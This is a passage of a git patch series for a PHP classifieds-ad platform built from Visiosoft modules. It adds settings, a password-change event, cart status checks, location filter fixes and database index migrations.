From 43c457a048f592cd7374c16a68a2cea988867354 Mon Sep 17 00:00:00 2001 From: Diatrex Date: Thu, 4 Mar 2021 16:27:12 +0300 Subject: [PATCH 01/27] #3481 [advs-module] Currency error when viewing an ad --- .../advs-module/src/Http/Controller/advsController.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php b/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php index 234a0e3e4..ad6140abe 100644 --- a/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php +++ b/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php @@ -257,7 +257,7 @@ class AdvsController extends PublicController $advs[$index] = $this->adv_model->AddAdsDefaultCoverImage($ad); $foreign_currencies = json_decode($advs[$index]->foreign_currencies, true); - if ($_COOKIE['currency'] && $advs[$index]->foreign_currencies && array_key_exists($_COOKIE['currency'], $foreign_currencies)) { + if (isset($_COOKIE['currency']) && $_COOKIE['currency'] && $advs[$index]->foreign_currencies && array_key_exists($_COOKIE['currency'], $foreign_currencies)) { $advs[$index]->currency = $_COOKIE['currency']; $advs[$index]->price = $foreign_currencies[$_COOKIE['currency']]; } From de79acb2dc96440e44a896bd39902046dd40af37 Mon Sep 17 00:00:00 2001 From: Diatrex Date: Thu, 25 Mar 2021 18:00:01 +0300 Subject: [PATCH 02/27] #3611 igam notification --- .../profile-module/src/Events/PasswordChanged.php | 9 +++++++++ .../src/Profile/Password/PasswordFormHandler.php | 4 ++++ 2 files changed, 13 insertions(+) create mode 100644 addons/default/visiosoft/profile-module/src/Events/PasswordChanged.php diff --git a/addons/default/visiosoft/profile-module/src/Events/PasswordChanged.php b/addons/default/visiosoft/profile-module/src/Events/PasswordChanged.php new file mode 100644 index 000000000..5f00c14a2 --- /dev/null +++ b/addons/default/visiosoft/profile-module/src/Events/PasswordChanged.php @@ -0,0 +1,9 @@ +find(Auth::id()); $user->setAttribute('password', $builder->getPostValue('new_password')); $user->save($user->toArray()); + + event(new PasswordChanged()); + $messages->success(trans('visiosoft.module.profile::message.your_password_changed')); } } From 1569ac2d903bfeac086f52488c8457e7e14fabaa Mon Sep 17 00:00:00 2001 From: Diatrex Date: Fri, 26 Mar 2021 16:47:26 +0300 Subject: [PATCH 03/27] =?UTF-8?q?#3567=20emlak24=20bug=20ve=20d=C3=BCzenle?= =?UTF-8?q?meler?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../resources/config/settings/sections.php | 1 + .../resources/config/settings/settings.php | 7 + .../advs-module/resources/css/list.css | 1 + .../advs-module/resources/lang/en/setting.php | 4 + .../resources/views/new-ad/new-create.twig | 2 + .../src/Adv/Form/AdvFormBuilder.php | 125 ++++++++++-------- .../resources/views/new-ad/map.twig | 21 ++- .../resources/assets/css/profile-nav.scss | 2 +- .../views/profile/partials/navigation.twig | 9 +- 9 files changed, 108 insertions(+), 64 deletions(-) diff --git a/addons/default/visiosoft/advs-module/resources/config/settings/sections.php b/addons/default/visiosoft/advs-module/resources/config/settings/sections.php index 1336af80b..350650d03 100644 --- a/addons/default/visiosoft/advs-module/resources/config/settings/sections.php +++ b/addons/default/visiosoft/advs-module/resources/config/settings/sections.php @@ -55,6 +55,7 @@ return [ 'hide_options_field', 'hide_village_field', 'hide_configurations', + 'make_all_fields_required', 'make_map_required', 'show_breadcrumb_when_creating_ad', 'show_post_ad_agreement', diff --git a/addons/default/visiosoft/advs-module/resources/config/settings/settings.php b/addons/default/visiosoft/advs-module/resources/config/settings/settings.php index 563d68e07..f0cb1dbf0 100644 --- a/addons/default/visiosoft/advs-module/resources/config/settings/settings.php +++ b/addons/default/visiosoft/advs-module/resources/config/settings/settings.php @@ -147,6 +147,13 @@ return [ 'mode' => 'checkbox' ] ], + 'make_all_fields_required' => [ + 'type' => 'anomaly.field_type.boolean', + 'config' => [ + 'default_value' => false, + 'mode' => 'checkbox' + ] + ], 'make_map_required' => [ 'type' => 'anomaly.field_type.boolean', 'config' => [ diff --git a/addons/default/visiosoft/advs-module/resources/css/list.css b/addons/default/visiosoft/advs-module/resources/css/list.css index 9fdad75ab..0693c4ff8 100644 --- a/addons/default/visiosoft/advs-module/resources/css/list.css +++ b/addons/default/visiosoft/advs-module/resources/css/list.css @@ -24,6 +24,7 @@ .upper-list-banner { min-height: 300px; background-size: cover; + background-position: center; } .upper-list-banner img { diff --git a/addons/default/visiosoft/advs-module/resources/lang/en/setting.php b/addons/default/visiosoft/advs-module/resources/lang/en/setting.php index 2bf5e9497..af8303b94 100644 --- a/addons/default/visiosoft/advs-module/resources/lang/en/setting.php +++ b/addons/default/visiosoft/advs-module/resources/lang/en/setting.php @@ -111,6 +111,10 @@ return [ 'name' => 'Hide the Configurations Button', 'instructions' => 'Hide the Configurations Button in the Ad Preview Page', ], + 'make_all_fields_required' => [ + 'name' => 'Make All Fields Required', + 'instructions' => 'Require the user to fill the Price, Description and Location fields when creating an ad', + ], 'make_map_required' => [ 'name' => 'Make Map Required', 'instructions' => 'Require the user to place a pin on the map when creating an ad', diff --git a/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig b/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig index 17e8aadd8..cc8e97809 100644 --- a/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig +++ b/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig @@ -20,6 +20,8 @@
+ {% set requiredFields = setting_value('visiosoft.module.advs::make_all_fields_required') %} + {% set form = form('advs', 'advs').entry(id).actions({'update': { 'text': trans('visiosoft.module.advs::button.publish') }}).get() %} diff --git a/addons/default/visiosoft/advs-module/src/Adv/Form/AdvFormBuilder.php b/addons/default/visiosoft/advs-module/src/Adv/Form/AdvFormBuilder.php index 99ff60fc1..7bcb93053 100644 --- a/addons/default/visiosoft/advs-module/src/Adv/Form/AdvFormBuilder.php +++ b/addons/default/visiosoft/advs-module/src/Adv/Form/AdvFormBuilder.php @@ -1,63 +1,11 @@ [ - 'translatable' => true, - 'required' => true, - ], - 'slug' => [ - 'unique' => true, - 'required' => true, - ], - 'price' => [ - 'type' => 'anomaly.field_type.text' - ], - 'standard_price' => [ - 'type' => 'anomaly.field_type.text' - ], - 'advs_desc', - 'cat1', - 'cat2', - 'cat3', - 'cat4', - 'cat5', - 'cat6', - 'cat7', - 'cat8', - 'cat9', - 'cat10', - 'currency', - 'online_payment', - 'stock', - 'country' => [ - 'class' => 'form-control countryselect' - ], - 'city' => [ - 'class' => 'form-control cityselect' - ], - 'district' => [ - 'class' => 'form-control districtselect' - ], - 'neighborhood' => [ - 'class' => 'form-control neighborhoodselect' - ], - 'village' => [ - 'class' => 'form-control villageselect' - ], - 'map_Val' => [ - 'label' => false, - 'class' => 'hidden d-none mapVal' - ], - 'files', - 'doc_files', - 'popular_adv', - 'adv_day', - 'product_options_value' - ]; + protected $fields; protected $category = null; @@ -78,4 +26,73 @@ class AdvFormBuilder extends FormBuilder protected $sections = []; protected $assets = []; + + public function __construct(Form $form) + { + parent::__construct($form); + $this->fields = $this->settingFields(); + } + + private function settingFields() + { + $requiredFields = setting_value('visiosoft.module.advs::make_all_fields_required'); + + return [ + 'name' => [ + 'translatable' => true, + 'required' => true, + ], + 'slug' => [ + 'unique' => true, + 'required' => true, + ], + 'price' => [ + 'type' => 'anomaly.field_type.text', + 'required' => $requiredFields + ], + 'standard_price' => [ + 'type' => 'anomaly.field_type.text' + ], + 'advs_desc' => [ + 'required' => $requiredFields + ], + 'cat1', + 'cat2', + 'cat3', + 'cat4', + 'cat5', + 'cat6', + 'cat7', + 'cat8', + 'cat9', + 'cat10', + 'currency', + 'online_payment', + 'stock', + 'country' => [ + 'class' => 'form-control countryselect' + ], + 'city' => [ + 'class' => 'form-control cityselect' + ], + 'district' => [ + 'class' => 'form-control districtselect' + ], + 'neighborhood' => [ + 'class' => 'form-control neighborhoodselect' + ], + 'village' => [ + 'class' => 'form-control villageselect' + ], + 'map_Val' => [ + 'label' => false, + 'class' => 'hidden d-none mapVal' + ], + 'files', + 'doc_files', + 'popular_adv', + 'adv_day', + 'product_options_value' + ]; + } } diff --git a/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig b/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig index 9b94af55e..0f9518645 100644 --- a/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig +++ b/addons/default/visiosoft/location-module/resources/views/new-ad/map.twig @@ -19,17 +19,26 @@
  • {{ form.fields.country.setOptions({})|raw }}
  • + class="location-field country-data"> + {{ form.fields.country.setAttributes({'required': true}).setOptions({})|raw }} +
  • {{ form.fields.city|raw }}
  • + class="location-field city-data"> + {{ form.fields.city.setAttributes({'required': true})|raw }} +
  • {{ form.fields.district|raw }}
  • + class="location-field district-data"> + {{ form.fields.district.setAttributes({'required': true})|raw }} +
  • {{ form.fields.neighborhood|raw }}
  • + class="location-field neighborhood-data"> + {{ form.fields.neighborhood.setAttributes({'required': true})|raw }} + {% if not setting_value('visiosoft.module.advs::hide_village_field') %} -
  • {{ form.fields.village|raw }}
  • +
  • + {{ form.fields.village.setAttributes({'required': true})|raw }} +
  • {% endif %}
diff --git a/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss b/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss index 23affb0bd..1fcbcb37a 100644 --- a/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss +++ b/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss @@ -41,7 +41,7 @@ z-index: 1040; } - a { + a, span { display: flex; align-items: center; margin-bottom: 1.25rem; diff --git a/addons/default/visiosoft/profile-module/resources/views/profile/partials/navigation.twig b/addons/default/visiosoft/profile-module/resources/views/profile/partials/navigation.twig index 29b052248..6feed3884 100644 --- a/addons/default/visiosoft/profile-module/resources/views/profile/partials/navigation.twig +++ b/addons/default/visiosoft/profile-module/resources/views/profile/partials/navigation.twig @@ -3,10 +3,13 @@ class="ml-2">
From 1835ca681f9acbfc1b0ec8c116921827c0e2dcf6 Mon Sep 17 00:00:00 2001 From: vedatakd Date: Mon, 29 Mar 2021 12:13:05 +0300 Subject: [PATCH 13/27] fixes --- .../advs-module/src/Adv/AdvModel.php | 34 ++++++++----------- .../OptionConfigurationController.php | 21 +++++++----- .../src/Http/Controller/advsController.php | 2 +- 3 files changed, 29 insertions(+), 28 deletions(-) diff --git a/addons/default/visiosoft/advs-module/src/Adv/AdvModel.php b/addons/default/visiosoft/advs-module/src/Adv/AdvModel.php index cbe685212..8ff5c25d2 100644 --- a/addons/default/visiosoft/advs-module/src/Adv/AdvModel.php +++ b/addons/default/visiosoft/advs-module/src/Adv/AdvModel.php @@ -71,12 +71,8 @@ class AdvModel extends AdvsAdvsEntryModel implements AdvInterface public function userAdv($nullable_ad = false, $checkRole = true) { - if ($user = Auth::user() and $user->hasRole('admin') && $checkRole) { - return $this->getAdv(null, $nullable_ad); - } else { - return $this->getAdv(null, $nullable_ad) - ->where('advs_advs.created_by_id', Auth::id()); - } + return $this->getAdv(null, $nullable_ad) + ->where('advs_advs.created_by_id', Auth::id()); } public function getAdvByCat($cat_id) @@ -142,7 +138,7 @@ class AdvModel extends AdvsAdvsEntryModel implements AdvInterface $responseBodyAsString = $response->getBody()->getContents(); $response = json_decode($responseBodyAsString, true); if ($showMsg) { - $messages->error($response['error']); + $messages->error($response['error']); } } } @@ -225,17 +221,17 @@ class AdvModel extends AdvsAdvsEntryModel implements AdvInterface } - public function getAdvDetailLinkByModel($object, $type = null) - { - if ($type != null) { - $id = $object->id; - $seo = $object->slug; - return \route('adv_detail_seo', [$seo, $id]); - } - $id = $object->getObject()->id; - $seo = $object->getObject()->slug; - return \route('adv_detail_seo', [$seo, $id]); - } + public function getAdvDetailLinkByModel($object, $type = null) + { + if ($type != null) { + $id = $object->id; + $seo = $object->slug; + return \route('adv_detail_seo', [$seo, $id]); + } + $id = $object->getObject()->id; + $seo = $object->getObject()->slug; + return \route('adv_detail_seo', [$seo, $id]); + } public function getAdvDetailLinkByAdId($id) { @@ -396,7 +392,7 @@ class AdvModel extends AdvsAdvsEntryModel implements AdvInterface public function getProductOptionsValues() { - return $this->product_options_value; + return $this->product_options_value; } public function getStatus() diff --git a/addons/default/visiosoft/advs-module/src/Http/Controller/OptionConfigurationController.php b/addons/default/visiosoft/advs-module/src/Http/Controller/OptionConfigurationController.php index 14d1b456c..ca9c43aca 100644 --- a/addons/default/visiosoft/advs-module/src/Http/Controller/OptionConfigurationController.php +++ b/addons/default/visiosoft/advs-module/src/Http/Controller/OptionConfigurationController.php @@ -44,15 +44,20 @@ class OptionConfigurationController extends PublicController { if($conf = $this->optionConfigurationRepository->find($this->request->configuration)) { - $conf->name = $conf->getName(); + if($conf->parent_adv->getStatus() == "approved") + { + $conf->name = $conf->getName(); - if ($conf->stock < $this->request->quantity){ - return redirect()->back()->with('warning', [trans('visiosoft.module.carts::message.error1in2')]); - }else{ - $cart = $this->dispatch(new GetCart()); - $cart->add($conf, $this->request->quantity); - return $this->redirect->to(route('visiosoft.module.carts::cart')); - } + if ($conf->stock < $this->request->quantity){ + return redirect()->back()->with('warning', [trans('visiosoft.module.carts::message.error1in2')]); + }else{ + $cart = $this->dispatch(new GetCart()); + $cart->add($conf, $this->request->quantity); + return $this->redirect->to(route('visiosoft.module.carts::cart')); + } + } + $this->messages->info(trans('visiosoft.module.advs::message.error_added_cart')); + return back(); } } diff --git a/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php b/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php index 1854f1bd6..c37fdc695 100644 --- a/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php +++ b/addons/default/visiosoft/advs-module/src/Http/Controller/advsController.php @@ -1229,7 +1229,7 @@ class AdvsController extends PublicController $thisModel = new AdvModel(); $adv = $thisModel->isAdv($id); $response = array(); - if ($adv) { + if ($adv and $adv->getStatus() == "approved") { $cart = $thisModel->addCart($adv, $quantity, $name); $response['status'] = "success"; $count = $cart->getItems()->count; From 5a7e8e969aa62c770eec7e08a6c114d3a1404fae Mon Sep 17 00:00:00 2001 From: Muammer Top Date: Mon, 29 Mar 2021 14:15:49 +0300 Subject: [PATCH 14/27] #3605 emlaktown dark-mode --- .../visiosoft/profile-module/resources/views/address/list.twig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addons/default/visiosoft/profile-module/resources/views/address/list.twig b/addons/default/visiosoft/profile-module/resources/views/address/list.twig index 810140973..dca0d5c67 100644 --- a/addons/default/visiosoft/profile-module/resources/views/address/list.twig +++ b/addons/default/visiosoft/profile-module/resources/views/address/list.twig @@ -3,7 +3,7 @@ {% block content %} {% embed 'visiosoft.module.profile::profile/index' %} {% block detail %} - +
From 32c0cef88727878594f4bd4bdf4aabd307476a59 Mon Sep 17 00:00:00 2001 From: vedatakd Date: Mon, 29 Mar 2021 16:20:53 +0300 Subject: [PATCH 15/27] fixed city filter --- .../visiosoft/advs-module/src/Adv/AdvRepository.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/addons/default/visiosoft/advs-module/src/Adv/AdvRepository.php b/addons/default/visiosoft/advs-module/src/Adv/AdvRepository.php index bdc1c0b89..dc8a452f8 100644 --- a/addons/default/visiosoft/advs-module/src/Adv/AdvRepository.php +++ b/addons/default/visiosoft/advs-module/src/Adv/AdvRepository.php @@ -75,16 +75,16 @@ class AdvRepository extends EntryRepository implements AdvRepositoryInterface if ($city) { $query = $query->where('city', $city->id); } elseif (isset($param['city']) and !empty(array_filter($param['city']))) { - $query = $query->whereIn('city', $param['city']); + $query = $query->whereIn('city', explode(',', array_first($param['city']))); } if (isset($param['district']) and !empty(array_filter($param['district']))) { - $query = $query->whereIn('district', $param['district']); + $query = $query->whereIn('district', explode(',',array_first($param['district']))); } if (isset($param['neighborhood']) and !empty(array_filter($param['neighborhood']))) { - $query = $query->whereIn('neighborhood', $param['neighborhood']); + $query = $query->whereIn('neighborhood', explode(',',array_first($param['neighborhood']))); } if (isset($param['village']) and !empty(array_filter($param['village']))) { - $query = $query->whereIn('village', $param['village']); + $query = $query->whereIn('village', explode(',',array_first($param['village']))); } } if ($category) { From ac6f9608e16863be30bfa39cf6f5ebf6c0c116b4 Mon Sep 17 00:00:00 2001 From: Diatrex Date: Mon, 29 Mar 2021 16:36:09 +0300 Subject: [PATCH 16/27] #3637 Admin - No tax number on order --- .../resources/assets/css/profile-nav.scss | 2 +- .../src/Adress/Table/AdressTableBuilder.php | 11 +++++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss b/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss index 1fcbcb37a..ee7d447f4 100644 --- a/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss +++ b/addons/default/visiosoft/profile-module/resources/assets/css/profile-nav.scss @@ -62,7 +62,7 @@ } } - svg { + svg, img { margin-right: .75rem; width: 1.5rem; height: 1.5rem; diff --git a/addons/default/visiosoft/profile-module/src/Adress/Table/AdressTableBuilder.php b/addons/default/visiosoft/profile-module/src/Adress/Table/AdressTableBuilder.php index 3806fc14e..4a0b317fe 100644 --- a/addons/default/visiosoft/profile-module/src/Adress/Table/AdressTableBuilder.php +++ b/addons/default/visiosoft/profile-module/src/Adress/Table/AdressTableBuilder.php @@ -11,6 +11,7 @@ class AdressTableBuilder extends TableBuilder 'adress_name', ], ], + 'user', ]; protected $columns = [ @@ -31,4 +32,14 @@ class AdressTableBuilder extends TableBuilder protected $actions = [ 'delete' ]; + + protected $assets = [ + 'scripts.js' => [ + 'visiosoft.module.advs::js/admin/filter-user.js', + ], + 'styles.css' => [ + 'visiosoft.module.advs::css/admin/filter-user.css', + 'visiosoft.module.advs::css/custom.css', + ], + ]; } From 587e07a89f465d9cb07dde9b3eb65c1c58636768 Mon Sep 17 00:00:00 2001 From: vedatakd Date: Wed, 31 Mar 2021 10:02:30 +0300 Subject: [PATCH 17/27] fixed simple options for cart && optional detailed product option --- .../resources/config/settings/sections.php | 1 + .../resources/config/settings/settings.php | 6 ++ .../advs-module/resources/lang/en/message.php | 1 + .../advs-module/resources/lang/en/setting.php | 4 ++ .../resources/views/new-ad/new-create.twig | 58 +++++++++++-------- .../views/new-ad/preview/preview.twig | 23 +++++--- 6 files changed, 62 insertions(+), 31 deletions(-) diff --git a/addons/default/visiosoft/advs-module/resources/config/settings/sections.php b/addons/default/visiosoft/advs-module/resources/config/settings/sections.php index 350650d03..2c4ab7f5a 100644 --- a/addons/default/visiosoft/advs-module/resources/config/settings/sections.php +++ b/addons/default/visiosoft/advs-module/resources/config/settings/sections.php @@ -23,6 +23,7 @@ return [ 'ads' => [ 'title' => 'visiosoft.module.advs::section.ads', 'fields' => [ + 'detailed_product_options', 'latest-limit', 'popular_ads_limit', 'ads_image_limit', diff --git a/addons/default/visiosoft/advs-module/resources/config/settings/settings.php b/addons/default/visiosoft/advs-module/resources/config/settings/settings.php index f0cb1dbf0..b3b1734d9 100644 --- a/addons/default/visiosoft/advs-module/resources/config/settings/settings.php +++ b/addons/default/visiosoft/advs-module/resources/config/settings/settings.php @@ -431,4 +431,10 @@ return [ ] ], 'disable_sentry' => 'anomaly.field_type.boolean', + 'detailed_product_options' => [ + 'type' => 'anomaly.field_type.boolean', + 'config' => [ + 'default_value' => true, + ] + ], ]; diff --git a/addons/default/visiosoft/advs-module/resources/lang/en/message.php b/addons/default/visiosoft/advs-module/resources/lang/en/message.php index 64e9a67a5..c60c9eeab 100644 --- a/addons/default/visiosoft/advs-module/resources/lang/en/message.php +++ b/addons/default/visiosoft/advs-module/resources/lang/en/message.php @@ -31,4 +31,5 @@ return [ 'passive_status_change' => "Your Ad's Status Has Been Set to Passive!", 'sold_status_change' => "Your Ad's Status Has Been Set to Sold!", 'status_change' => "Your Ad's Status Has Been Set to :status!", + 'disabled_detailed_options_for_admin_role' => "Detailed product options are disabled.", ]; diff --git a/addons/default/visiosoft/advs-module/resources/lang/en/setting.php b/addons/default/visiosoft/advs-module/resources/lang/en/setting.php index 1d3b65e30..803e3403f 100644 --- a/addons/default/visiosoft/advs-module/resources/lang/en/setting.php +++ b/addons/default/visiosoft/advs-module/resources/lang/en/setting.php @@ -258,4 +258,8 @@ return [ 'name' => 'Watermark', 'instructions' => 'Is watermark active?' ], + 'detailed_product_options' => [ + 'name' => 'Detailed Product Options', + 'instructions' => 'Allows you to enter stock and price information for the product' + ], ]; diff --git a/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig b/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig index cc8e97809..dd6532f7f 100644 --- a/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig +++ b/addons/default/visiosoft/advs-module/resources/views/new-ad/new-create.twig @@ -134,32 +134,42 @@ {% if not setting_value('visiosoft.module.advs::hide_options_field') %} -
- -
- + {% if not setting_value('visiosoft.module.advs::detailed_product_options') %} +
+ +
+ +
+ {% if auth_check() and auth_user().hasRole('admin') %} +
+

+ + {{ trans('visiosoft.module.advs::message.disabled_detailed_options_for_admin_role') }} +

+
+ {% endif %}
-
- -
- -
- {{ form.fields.product_options_value.configSet('cat1',adv.cat1).input|raw }} + {% else %} +
+ +
+ {{ form.fields.product_options_value.configSet('cat1',adv.cat1).input|raw }} +
-
+ {% endif %} {% endif %}
diff --git a/addons/default/visiosoft/advs-module/resources/views/new-ad/preview/preview.twig b/addons/default/visiosoft/advs-module/resources/views/new-ad/preview/preview.twig index e0ed36c0c..b2f6b6724 100644 --- a/addons/default/visiosoft/advs-module/resources/views/new-ad/preview/preview.twig +++ b/addons/default/visiosoft/advs-module/resources/views/new-ad/preview/preview.twig @@ -9,6 +9,12 @@
{{ trans('visiosoft.module.advs::field.preview_text.part_2') }}

+ {% if auth_check() and auth_user().hasRole('admin') %} +

+ + {{ trans('visiosoft.module.advs::message.disabled_detailed_options_for_admin_role') }} +

+ {% endif %}
{% if isActive('packages') and setting_value('visiosoft.module.packages::move_the_buy_package_to_the_end') and (auth_user().isAdmin or not auth_user().hasPermission('visiosoft.module.packages::packages.no_read')) %} @@ -19,10 +25,12 @@ {% set continueLink = url_route('adv_detail_seo', [adv.slug, adv.id]) %} {% endif %} {% if not setting_value('visiosoft.module.advs::hide_configurations') %} - - {{trans('visiosoft.module.advs::button.create_configurations')}} - + {% if setting_value('visiosoft.module.advs::detailed_product_options') %} + + {{ trans('visiosoft.module.advs::button.create_configurations') }} + + {% endif %} {% endif %} @@ -33,17 +41,18 @@
- {% include "visiosoft.module.advs::new-ad/preview/partials/preview-window" %} + {% include "visiosoft.module.advs::new-ad/preview/partials/preview-window" %}
{% if not setting_value('visiosoft.module.advs::hide_configurations') %} - {{trans('visiosoft.module.advs::button.create_configurations')}} + {{ trans('visiosoft.module.advs::button.create_configurations') }} {% endif %} - + {{ trans('visiosoft.module.advs::field.edit') }} From 4c42b308b5e795eda2ea39313c76aa9864379cc4 Mon Sep 17 00:00:00 2001 From: vedatakd Date: Wed, 31 Mar 2021 12:23:14 +0300 Subject: [PATCH 18/27] fixed sentry --- app/Exceptions/ExceptionHandler.php | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/app/Exceptions/ExceptionHandler.php b/app/Exceptions/ExceptionHandler.php index 79492d1b8..55f172d0f 100644 --- a/app/Exceptions/ExceptionHandler.php +++ b/app/Exceptions/ExceptionHandler.php @@ -87,12 +87,12 @@ class ExceptionHandler extends Handler public function report(Exception $e) { - if (!setting_value('visiosoft.module.advs::disable_sentry') - && app()->bound('sentry') - && $this->shouldReport($e) - && env('SENTRY_LARAVEL_DSN')) { - - app('sentry')->captureException($e); + if (app()->bound('sentry') + && $this->shouldReport($e) + && env('SENTRY_LARAVEL_DSN')) { + if (!setting_value('visiosoft.module.advs::disable_sentry')) { + app('sentry')->captureException($e); + } } parent::report($e); From ce540418c4e6bbcc6b700185fef5b91d2be8d03f Mon Sep 17 00:00:00 2001 From: vedatakd Date: Wed, 31 Mar 2021 13:31:27 +0300 Subject: [PATCH 19/27] fixed sentry --- addons/default/visiosoft/advs-module/composer.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/addons/default/visiosoft/advs-module/composer.json b/addons/default/visiosoft/advs-module/composer.json index dbb8481dd..c33a66956 100644 --- a/addons/default/visiosoft/advs-module/composer.json +++ b/addons/default/visiosoft/advs-module/composer.json @@ -14,6 +14,6 @@ "visiosoft/addblock-extension": "^1.1", "ext-zip": "*", "chumper/zipper": "^1.0", - "sentry/sentry-laravel": "*" + "sentry/sentry-laravel": "2.3.1" } } From 8239d8fa5e7c7f219fec8c40fe12966464568e5f Mon Sep 17 00:00:00 2001 From: Muammer Top Date: Wed, 31 Mar 2021 14:35:24 +0300 Subject: [PATCH 20/27] #3628 index will added --- ...visiosoft.module.advs__add_index_table.php | 32 +++++++++++++++++++ ...visiosoft.module.cats__add_index_table.php | 24 ++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php create mode 100644 addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php diff --git a/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php b/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php new file mode 100644 index 000000000..5131fe938 --- /dev/null +++ b/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php @@ -0,0 +1,32 @@ +index('deleted_at'); + $table->index('name'); + $table->index('folder_id'); + }); + + Schema::table('advs_advs', function (Blueprint $table) { + $table->index('deleted_at'); + $table->index('cat1'); + $table->index('country_id'); + $table->index('city'); + $table->index('finish_at'); + $table->index('status'); + $table->index('count_show_ad'); + }); + + Schema::table('page_link_type_pages_translations', function (Blueprint $table) { + $table->index('entry_id'); + $table->index('locale'); + }); + } +} diff --git a/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php b/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php new file mode 100644 index 000000000..4d5e88e40 --- /dev/null +++ b/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php @@ -0,0 +1,24 @@ +index('deleted_at'); + $table->index('slug'); + $table->index('parent_category_id'); + $table->index('icon_id'); + $table->index('cat1'); + $table->index('country_id'); + $table->index('city'); + $table->index('finish_at'); + $table->index('status'); + $table->index('count_show_ad'); + }); + } +} From 4ee066aaf063246062116a5d1660a7ea5aa9bb49 Mon Sep 17 00:00:00 2001 From: Muammer Top Date: Wed, 31 Mar 2021 15:10:57 +0300 Subject: [PATCH 21/27] #3628 index will added --- ...visiosoft.module.advs__add_index_table.php | 11 ---------- ...iosoft.module.profile__add_index_table.php | 22 +++++++++++++++++++ 2 files changed, 22 insertions(+), 11 deletions(-) create mode 100644 addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php diff --git a/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php b/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php index 5131fe938..a43320c99 100644 --- a/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php +++ b/addons/default/visiosoft/advs-module/migrations/2021_03_31_100145_visiosoft.module.advs__add_index_table.php @@ -8,12 +8,6 @@ class VisiosoftModuleAdvsAddIndexTable extends Migration { public function up() { - Schema::table('files_files', function (Blueprint $table) { - $table->index('deleted_at'); - $table->index('name'); - $table->index('folder_id'); - }); - Schema::table('advs_advs', function (Blueprint $table) { $table->index('deleted_at'); $table->index('cat1'); @@ -23,10 +17,5 @@ class VisiosoftModuleAdvsAddIndexTable extends Migration $table->index('status'); $table->index('count_show_ad'); }); - - Schema::table('page_link_type_pages_translations', function (Blueprint $table) { - $table->index('entry_id'); - $table->index('locale'); - }); } } diff --git a/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php b/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php new file mode 100644 index 000000000..7ee5a44d6 --- /dev/null +++ b/addons/default/visiosoft/profile-module/migrations/2021_03_31_121019_visiosoft.module.profile__add_index_table.php @@ -0,0 +1,22 @@ +index('deleted_at'); + $table->index('name'); + $table->index('folder_id'); + }); + + Schema::table('page_link_type_pages_translations', function (Blueprint $table) { + $table->index('entry_id'); + $table->index('locale'); + }); + } +} From 19654ad0d8377cc1170d9755aa61a896b210cafe Mon Sep 17 00:00:00 2001 From: Muammer Top Date: Wed, 31 Mar 2021 15:55:45 +0300 Subject: [PATCH 22/27] #3628 index will added --- ...03_31_104729_visiosoft.module.cats__add_index_table.php | 7 +------ ...31_121019_visiosoft.module.profile__add_index_table.php | 4 ---- 2 files changed, 1 insertion(+), 10 deletions(-) diff --git a/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php b/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php index 4d5e88e40..6ecf73dd2 100644 --- a/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php +++ b/addons/default/visiosoft/cats-module/migrations/2021_03_31_104729_visiosoft.module.cats__add_index_table.php @@ -13,12 +13,7 @@ class 